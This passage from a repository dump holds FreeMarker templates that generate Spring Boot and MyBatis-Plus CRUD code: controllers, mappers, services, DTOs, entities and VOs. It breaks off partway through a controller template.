    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className};\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}> pageAll(${classInfo.className} queryParamDTO,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className} queryParamDTO);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus/${classInfo.className}Service.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}Vo;\nimport ${packageName}.dto.${classInfo.className}Dto;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.bjc.lcp.system.common.utils.DataResult;\nimport org.springframework.web.servlet.ModelAndView;\nimport javax.annotation.Resource;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    //@Autowired\n    //private CntService cntService;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public DataResult add(@Validated(${classInfo.className}Vo.Create.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return DataResult.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public DataResult delete(@Validated(${classInfo.className}Vo.Delete.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return DataResult.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public DataResult delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return DataResult.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public DataResult update(@Validated(${classInfo.className}Vo.Update.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            return DataResult.fail(\"数据不存在\");\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.updateById(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public DataResult getOne(@RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return DataResult.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public DataResult listByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return DataResult.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public DataResult findListByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return DataResult.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/dto.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable; \nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Dto  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Dto() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/service.impl.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single/vo.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Vo  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Vo() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.vo.${classInfo.className}Vo;\nimport ${packageName}.dto.${classInfo.className}Dto;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\n<#--import org.apache.shiro.authz.annotation.RequiresPermissions;-->\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\nimport io.github.wujun728.common.base.Result;\nimport javax.annotation.Resource;\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public Result add(@Validated(${classInfo.className}Vo.Create.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return Result.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return Result.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public Result delete(@Validated(${classInfo.className}Vo.Delete.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return Result.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public Result delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return Result.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public Result update(@Validated(${classInfo.className}Vo.Update.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            //return Result.fail(\"数据不存在\");\n            entity = new ${classInfo.className}Entity();\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return Result.success(${classInfo.className?uncap_first}Service.saveOrUpdate(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public Result getOne(@RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && 